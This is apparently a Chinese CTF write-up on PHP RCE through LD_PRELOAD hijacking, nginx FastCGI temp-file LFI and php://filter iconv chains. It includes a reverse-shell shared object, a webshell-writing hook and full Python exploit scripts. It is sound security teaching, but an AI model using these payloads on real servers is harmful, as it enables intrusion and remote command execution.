LD_PRELOAD劫持、ngixn临时文件、无需临时文件rce
LD_PRELOAD劫持
<1> LD_PRELOAD简介
LD_PRELOAD 是linux下的一个环境变量。用于动态链接库的加载,在动态链接库的过程中他的优先级是最高的。类似于 .user.ini 中的 auto_prepend_file,那么我们就可以在自己定义的动态链接库中装入恶意函数。 也叫做LD_PRELOAD劫持,流程如下
- 定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型等
- 将包含替换函数的源码编译为动态链接库 命令:gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so
- 通过命令 export LD_PRELOAD=”库文件路径”,设置要优先替换动态链接库
- 如果找不替换库,可以通过 export LD_LIBRARY_PATH=库文件所在目录路径,设置系统查找库的目录
- 替换结束,要还原函数调用关系,用命令unset LD_PRELOAD 解除
- 想查询依赖关系,可以用ldd命令,例如: ldd random
例题:index.php的源码
vi -r index.php.swp
恢复文件内容
$PATH=$_GET["image_path"];
if((!isset($PATH))){$PATH="upload/1.jpg";
}
echo "<div align='center'>";
loadimg($PATH);
echo "</div>";
function loadimg($img_path){if(file_exists($img_path)){//设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so LD_PRELOAD设置的优先加载动态链接库 putenv("LD_PRELOAD=/var/www/html/$img_path");
#system函数这里可以劫持system("echo Success to load");echo "<br><img src=$img_path>";}else{system("echo Failed to load ");}
}
(1)strace 用于跟踪系统调用和信号
hack.php:
<?phpsystem("echo Success to load");
执行以下命令,可以查看进程调用的系统函数明细:
strace -f php hack.php 2>&1 | grep -A2 -B2 execve
(2) readelf 命令查看一下 系统命令/bin/sh调用的函数,发现了 strcpy()
readelf -Ws /usr/bin/sh
综上,我们写一个 exp.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>void payload() {//反弹shellsystem("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}char *strcpy (char *__restrict __dest, const char *__restrict __src) { //不知道参数的话可以通过报错信息if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();
}
执行 gcc -shared -fPIC exp.c -o exp.so
根据报错修改参数一致,重新运行生成exp.so LD_PRELOAD可以解析jpg后缀,只用修改后缀即可
上传文件所在路径:upload/exp.jpg,回到index.php 加载 upload/exp.jpg 服务器上拿到shell。
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>
2.[HFCTF2022]ezphp
考点:
- Nginx-Fastcgi 缓存文件
- 脚本编写遍历pid,fd
Nginx 在后端 Fastcgi 响应过大 或 请求正文 body 过大时会产生临时文件。如果打开一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/ 目录下,我们可以通过重复发包so造成文件缓存,然后用LD_PRELOAD去加载我们这个动态链接库
#include <stdlib.h>
#include <stdio.h>
#include <string.h>void payload() {system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shanks.php");
}
int geteuid()
{if (getenv("LD_PRELOAD") == NULL) { return 0; }char str[65536];unsetenv("LD_PRELOAD");payload();
}
所以我们的exp.so需要加上一些无用数据(str[65536])让整个文件稍大 ,编译为so文件
gcc -shared -fPIC exp.c -o exp.so
条件竞争
import threading, requests
URL2 = f'http://192.168.56.5:7005/index.php'
nginx_workers = [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]
done = Falsedef uploader():print('[+] starting uploader')with open("exp.so","rb") as f:data1 = f.read()+b'0'*1024*1000#print(data1)while not done:requests.get(URL2, data=data1)
for _ in range(16):t = threading.Thread(target=uploader)t.start()
def bruter(pid):global donewhile not done:print(f'[+] brute loop restarted: {pid}')for fd in range(4, 32):try:requests.get(URL2, params={'env': f"LD_PRELOAD=/proc/{pid}/fd/{fd}"})except:passfor pid in nginx_workers:a = threading.Thread(target=bruter, args=(pid, ))a.start()
payload:?env=LD_PRELOAD=/proc/pid/fd/file_id
此题总结:
- 让后端 php 请求一个过大的文件
- Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
- 虽然 Nginx 删除了
/var/lib/nginx/fastcgi
下的临时文件,但是在/proc/pid/fd/
下我们可以找到被删除的文件 - 遍历 pid 以及 fd ,修改LD_PRELOAD完成 LFI
3.NSS [HXPCTF 2021]includer’s revenge
<?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');
当然如果光看这些代码,我们可以直接用 [36c3 2019]includer
的解法解掉,用 compress.zip://http://
产生临时文件,包含即可。
结合题目给我们的附件,主要是 Dockerfile ,发现并不是这样。所有临时目录都弄得不可写了,所以导致之前[36c3 2019]includer
的产生临时文件的方法就失效了
我们需要找到另一个产生临时文件,将其包含的方法 。
/var/lib/nginx/fastcgi
目录是 Nginx 的 http-fastcgi-temp-path
,看到 temp 这里就感觉很有意思了,意味着我们可能通过 Nginx 来产生一些文件,并且通过一些搜索我们知道这些临时文件格式类似于:/var/lib/nginx/fastcgi/x/y/0000000yx
【一】临时文件怎么来
在 Nginx 文档中有这样的部分:fastcgi_buffering,Nginx 接收来自 FastCGI 的响应 如果内容过大,那它的一部分就会被存入磁盘上的临时文件,而这个阈值大概在 32KB
左右。超过阈值,就产生了临时文件
【二】临时文件的临时性怎么解决
如果打开一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/
目录下,但是如果这个文件在没有被关闭的情况下就被删除了呢?这种情况下我们还是可以在对应的 /proc/PID/fd
下找到我们删除的文件 ,虽然显示是被删除了,但是我们依然可以读取到文件内容,所以我们可以直接用php 进行文件包含。
【三】PID、fd、具体文件名怎么得到
这时我们就需要用到文件读取进行获取 proc 目录下的其他文件了,这里我们只需要本地搭个 Nginx 进程并启动,对比其进程的 proc 目录文件与其他进程文件区别就可以了。
而进程间比较容易区别的就是通过 /proc/cmdline
,如果是 Nginx Worker 进程,我们可以读取到文件内容为 nginx: worker process
即可找到 Nginx Worker 进程;因为 Master 进程不处理请求,所以我们没必要找 Nginx Master 进程。
当然,Nginx 会有很多 Worker 进程,但是一般来说 Worker 数量不会超过 cpu 核心数量,我们可以通过 /proc/cpuinfo
中的 processor 个数得到 cpu 数量,我们可以对比找到的 Nginx Worker PID 数量以及 CPU 数量来校验我们大概找的对不对。
那怎么确定用哪一个 PID 呢?以及 fd 怎么办呢?由于 Nginx 的调度策略我们确实没有办法确定具体哪一个 worker 分配了任务,但是一般来说是 8 个 worker ,实际本地测试 fd 序号一般不超过 70 ,即使爆破也只是 8*70 ,能在常数时间内得到解答。查看 /proc/sys/kernel/pid_max
找到最大的 PID,就能确定爆破范围。
【四】绕过include_once限制
参考:php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台 (anquanke.com)
include_once()
的绕过类似于require_once()
绕过。
我们被包含的路径(符号链接)可以是
f = f'/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/{pid}/fd/{fd}'
也可以是:
f = f'/proc/xxx/xxx/xxx/../../../{pid}/fd/{fd}'
所以我们本题的思路如下:
- 让后端 php 请求一个过大的文件
- Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
- 虽然 Nginx 删除了
/var/lib/nginx/fastcgi
下的临时文件,但是在/proc/pid/fd/
下我们可以找到被删除的文件- 遍历 pid 以及 fd ,使用多重链接绕过 PHP 包含策略完成 LFI
首先 通过包含file=/proc/cpuinfo,获取最大cpu数量4
获取最大pid
从pid筛选ngixn worker pid:并对比数量
#!/usr/bin/env python3
import sys, threading, requests# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details# ./xxx.py ip port
# URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
URL = "http://node4.anna.nssctf.cn:28173/"# find nginx worker processes
r = requests.get(URL, params={'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')r = requests.get(URL, params={'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')nginx_workers = []
for pid in range(pid_max):r = requests.get(URL, params={'file': f'/proc/{pid}/cmdline'})if b'nginx: worker process' in r.content:print(f'[*] nginx worker found: {pid}')nginx_workers.append(pid)if len(nginx_workers) >= cpus:breakdone = False# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():print('[+] starting uploader')while not done:requests.get(URL, data='<?php system($_GET[\'xxx\']); /*' + 16*1024*'A')for _ in range(16):t = threading.Thread(target=uploader)t.start()# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):global donewhile not done:print(f'[+] brute loop restarted: {pid}')for fd in range(4, 32):f = f'/proc/xxx/xxx/xxx/../../../{pid}/fd/{fd}'r = requests.get(URL, params={'file': f,'xxx': f'/readflag', #命令,如ls'action':'read1' #这题要加这个,原脚本没加})if r.text:print(f'[!] {f}: {r.text}')done = Trueexit()for pid in nginx_workers:a = threading.Thread(target=bruter, args=(pid, ))a.start()
方法二:Base64 Filter 宽松解析+iconv filter+无需临时文件
这个方法被誉为PHP本地文件包含(LFI)的尽头。
原文传送门,写的很细,我就不重复造轮子了,仅进行略微补充。
原理大概就是 对PHP Base64 Filter 来说,会忽略掉非正常编码的字符。这很好理解,有些奇怪的字符串进行base64解码再编码后会发现和初始的不一样,就是这个原因。
限制:
某些字符集在某些系统并不支持,比如Ubuntu18.04,十分幸运,php官方带apache的镜像是Debain,运行上面的脚本没有任何问题。
解决的办法其实并不难,只需要将新的字符集放到wupco师傅的脚本中再跑一次就可以了:GitHub - wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
攻击脚本:
import requestsurl = "http://node4.anna.nssctf.cn:28627/"
file_to_use = "/etc/passwd"
command = "/readflag"#两个分号避开了最终 base64 编码中的斜杠
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"conversions = {'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2','B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2','C': 'convert.iconv.UTF8.CSISO2022KR','8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2','9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB','f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213','s': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61','z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS','U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932','P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213','V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5','0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2','Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2','W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2','d': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2','D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2','7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2','4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"for c in base64_payload[::-1]:filters += conversions[c] + "|"# decode and reencode to get rid of everything that isn't valid base64filters += "convert.base64-decode|"filters += "convert.base64-encode|"# get rid of equal signsfilters += "convert.iconv.UTF8.UTF7|"filters += "convert.base64-decode"final_payload = f"php://filter/{filters}/resource={file_to_use}"r = requests.get(url, params={"0": command,"action": "xxx","file": final_payload
})# print(filters)
# print(final_payload)
print(r.text)
相关文章:

LD_PRELOAD劫持、ngixn临时文件、无需临时文件rce
LD_PRELOAD劫持 <1> LD_PRELOAD简介 LD_PRELOAD 是linux下的一个环境变量。用于动态链接库的加载,在动态链接库的过程中他的优先级是最高的。类似于 .user.ini 中的 auto_prepend_file,那么我们就可以在自己定义的动态链接库中装入恶意函数。 也…...

循环神经网络训练情感分析
文章目录 1 循环神经网络训练情感分析2 完整代码3 代码详解 1 循环神经网络训练情感分析 下面介绍如何使用长短记忆模型(LSTM)处理情感分类LSTM模型是循环神经网络的一种,按照时间顺序,把信息进行有效的整合,有的信息…...

如何绕过某讯手游保护系统并从内存中获取Unity3D引擎的Dll文件
某讯的手游保护系统用的都是一套,在其官宣的手游加固功能中有一项宣传是对比较热门的Unity3d引擎的手游保护方案,其中对Dll文件的保护介绍如下, “Dll加固混淆针对Unity游戏,对Dll模块的变量名、函数名、类名进行加密混淆处理&…...

【C/C++笔试练习】公有派生、构造函数内不执行多态、抽象类和纯虚函数、多态中的缺省值、虚函数的描述、纯虚函数的声明、查找输入整数二进制中1的个数、手套
文章目录 C/C笔试练习选择部分(1)公有派生(2)构造函数内不执行多态(3)抽象类和纯虚函数(4)多态中的缺省值(5)程序分析(6)重载和隐藏&a…...

Linux shell中的函数定义、传参和调用
Linux shell中的函数定义、传参和调用: 函数定义语法: [ function ] functionName [()] { } 示例: #!/bin/bash# get limit if [ $# -eq 1 ] && [ $1 -gt 0 ]; thenlimit$1echo -e "\nINFO: input limit is $limit" e…...

YoloV8改进策略:基于RevCol,可逆的柱状神经网络的完美迁移,YoloV8的上分利器
文章目录 摘要论文:《RevCol:可逆的柱状神经网络》1、简介2、方法2.1、Multi-LeVEl ReVERsible Unit2.2、可逆列架构2.2.1、MACRo设计2.2.2、MicRo 设计2.3、中间监督3、实验部分3.1、图像分类3.2、目标检测3.3、语义分割3.4、与SOTA基础模型的系统级比较3.5、更多分析实验&l…...

九章量子计算机:引领量子计算的新篇章
九章量子计算机:引领量子计算的新篇章 一、引言 随着科技的飞速发展,量子计算已成为全球科研领域的前沿议题。九章量子计算机作为中国自主研发的量子计算机,具有划时代的意义。本文将深入探讨九章量子计算机的原理、技术特点、应用前景等方面,带领读者领略量子计算的魅力…...

什么是vue的计算属性
Vue的计算属性是一种特殊的属性,它的值是通过对其他属性进行计算得到的。计算属性可以方便地对模型中的数据进行处理和转换,同时还具有缓存机制,只有在依赖的数据发生变化时才会重新计算值。这使得计算属性更加高效,并且可以减少重…...

Linux中文件的打包压缩、解压,下载到本地——zip,tar指令等
目录 1 .zip后缀名: 1.1 zip指令 1.2 unzip指令 2 .tar后缀名 3. sz 指令 4. rz 指令 5. scp指令 1 .zip后缀名: 1.1 zip指令 语法:zip [namefile.zip] [namefile]... 功能:将目录或者文件压缩成zip格式 常用选项:…...

C语言——深入理解指针(4)
目录 1.回调函数 2. qsort 函数的使用 2.1 排序整型数据 2.2 排序结构体数据 3. qsort 函数的模拟实现 1.回调函数 回调函数就是通过一个函数指针调用的函数。 你把函数的地址作为参数传递给另一个函数,当这个指针被用来调用其所指向的函数时,被调…...

Linux基础命令(超全面,建议收藏!)
一、Linux的目录结构 /,根目录是最顶级的目录了 Linux只有一个顶级目录:/ 路径描述的层次关系同样使用/来表示 /home/itheima/a.txt,表示根目录下的home文件夹内有itheima文件夹,内有a.txt 二、Linux命令基础格式 无论是什么…...

LeetCode刷题---合并两个有序链表
个人主页:元清加油_【C】,【C语言】,【数据结构与算法】-CSDN博客 个人专栏:http://t.csdnimg.cn/ZxuNL http://t.csdnimg.cn/c9twt 前言:这个专栏主要讲述递归递归、搜索与回溯算法,所以下面题目主要也是这些算法做的 我讲述…...

SQL Server 2008 使用concat报错
SQL Server 2008 使用concat报错 在 SQL Server中,CONCAT 函数是从 SQL Server 2012 版本开始引入的,所以在 SQL Server 2008 中使用 CONCAT 函数会导致错误。 如果你想要连接字符串,有几种替代方法可以考虑: 使用 运算符&…...

视频后期效果制作工具Mocha Pro 2022 Plugins mac中文版软件介绍
Mocha Pro 2022 mac是一款专业的三维摄像机反求摩卡跟踪插件,同时也是一款视频后期效果制作工具,Mocha Pro 2022下载能够给数字媒体艺术家提供强大的、直观的和创新的追踪解决方案用简化的界面、加速的工作流程以及轻松追踪和操作镜头的强大性࿰…...

人工智能时代:AIGC的横空出世
🌈个人主页:聆风吟 🔥系列专栏:数据结构、网络奇遇记 🔖少年有梦不应止于心动,更要付诸行动。 文章目录 📋前言一. 什么是AIGC?二. AIGC的主要特征2.1 文本生成2.2 图像生成2.3 语音生成2.4 视…...

基于ChatGPT等大模型快速爬虫提取网页内容
本文将介绍一种基于ChatGPT等大模型快速爬虫提取网页内容的方法。传统的爬虫方法需要花费较大精力分析页面的html元素,而这种方法只需要两步就可以完成。下面将从使用步骤、方法扩展和示例程序三部分进行介绍。RdFast智能创作机器人小程序预计本周2023-11-30之前集成…...

JavaScript WebAPI(三)(详解)
这次介绍一下webAPI中的一些知识: 回调函数 回调函数是指 如果将函数A做为参数传递给函数B时,我们称函数A为回调函数 例如: // 立即执行函数中传递的函数是一个回调函数 (function(){ console.log("我是回调函数") })(); // …...

LeetCode哈希表:最长连续序列
LeetCode哈希表:最长连续序列 题目描述 给定一个未排序的整数数组 nums ,找出数字连续的最长序列(不要求序列元素在原数组中连续)的长度。 请你设计并实现时间复杂度为 O(n) 的算法解决此问题。 示例 1: 输入&…...

SpringBoot+redis实现接口防刷
写一个RedisService,实现获取Redis 的set、get、incr(相当于计数器) 写inferface注解类 做一个拦截器,因为要先于控制器判断 将拦截器注入Springboot 文章目录 目录 文章目录 前言 一、引入依赖 二、使用步骤 2.1 RedisServic…...

5G承载网和大客户承载的演进
文章目录 移动4/5G承载网联通和电信4/5G承载网M-OTN(Metro-optimized OTN),城域型光传送网PeOTN(packet enhanced optical transport network),分组增强型OTN板卡增强型PeOTN集中交叉型PeOTN VC-OTN&#x…...

智慧工地一体化解决方案(里程碑管理)源码
智慧工地为管理人员提供及时、高效、优质的远程管理服务,提升安全管理水平,确保施工安全提高施工质量。实现对人、机、料、法、环的全方位实时监控,变被动“监督”为主动“监控”。 一、建设背景 施工现场有数量多、分布广,总部统…...

熬夜会秃头——beta冲刺Day2
这个作业属于哪个课程2301-计算机学院-软件工程社区-CSDN社区云这个作业要求在哪里团队作业—beta冲刺事后诸葛亮-CSDN社区这个作业的目标记录beta冲刺Day2团队名称熬夜会秃头团队置顶集合随笔链接熬夜会秃头——Beta冲刺置顶随笔-CSDN社区 目录 一、团队成员会议总结 1、成员…...

【linux】信号——信号保存+信号处理
信号保存信号处理 1.信号保存1.1信号其他相关概念1.2信号在内核中的表示 2.信号处理2.1信号的捕捉流程2.2sigset_t2.3信号集操作函数2.4实操2.5捕捉信号的方法 3.可重入函数4.volatile5.SIGCHLD信号 自我名言:只有努力,才能追逐梦想,只有努力…...

雷军:我的程序人生路
今天有朋友发给我一篇我在20年前在BBS上写的帖子。那还是1996年,我们通过电话线拨号连接到西点BBS上飙帖子玩的年代。那是一个互联网混沌初开的年代,那是一个BBS和Email几乎主宰了全部互联网的年代,那是一个青春的理想和热血沸腾的年代。 我…...

Linux 磁盘分区处理
最近实施过程中遇到客户提供给我们的服务器操作系统和Docke容器环境都已经安装完成,但磁盘的分区没有进行整理好。磁盘总共270G,系统安装分配了60G,剩余未创建分配需要处理。由于分区情况每家不一样,但大致流程都是相同的…...

利用ogr2ogr从PostGIS中导出/导入Tab/Dxf/Geojson等格式数据
ogr2ogr Demo Command 先查看下当前gdal支持的全部格式,部分gdal版本可能不支持PostGIS。 如出现PostgreSQL表名支持。 #全部支持的格式 ogrinfo --formats | sort #AVCBin -vector- (rov): Arc/Info Binary Coverage #AVCE00 -vector- (rov): Arc/Info E00 (ASC…...

【深度优先】LeetCode1932:合并多棵二叉搜索树
作者推荐 动态规划LeetCode2552:优化了6版的1324模式 题目 给你 n 个 二叉搜索树的根节点 ,存储在数组 trees 中(下标从 0 开始),对应 n 棵不同的二叉搜索树。trees 中的每棵二叉搜索树 最多有 3 个节点 ࿰…...

monorepo多项目管理主流实现方式:1.learn + yarn/npm workspace 2.pnpm
npm域级包 随着npm包越来越多,而且包名也只能是唯一的,如果一个名字被别人占了,那你就不能再使用这个名字;假设我想要开发一个utils包,但是张三已经发布了一个utils包,那我的包名就不能叫utils了ÿ…...

【斗罗二】暗杀霍雨浩行动,马小桃霸气回击,江楠楠首秀武魂兔兔
Hello,小伙伴们,我是拾荒君。 《斗罗大陆Ⅱ绝世唐门》第25集更新了!和小伙伴们一样,一更新,拾荒君就急不可待地观看这一集。故事情节高潮迭起,尤其是霍雨浩与王冬面对六名杀手的惊险场景,真是让人心跳加速…...

[ 蓝桥杯Web真题 ]-年度明星项目
目录 引入 介绍 准备 目标 效果 规定 思路 知识补充 解答参考 引入 hello,大家好!我注意到了之前发的一篇蓝桥杯Web应用开发的文章是关注度最高的,可能大部分关注我的小伙伴对蓝桥杯Web应用开发比较感兴趣,或者想要参加…...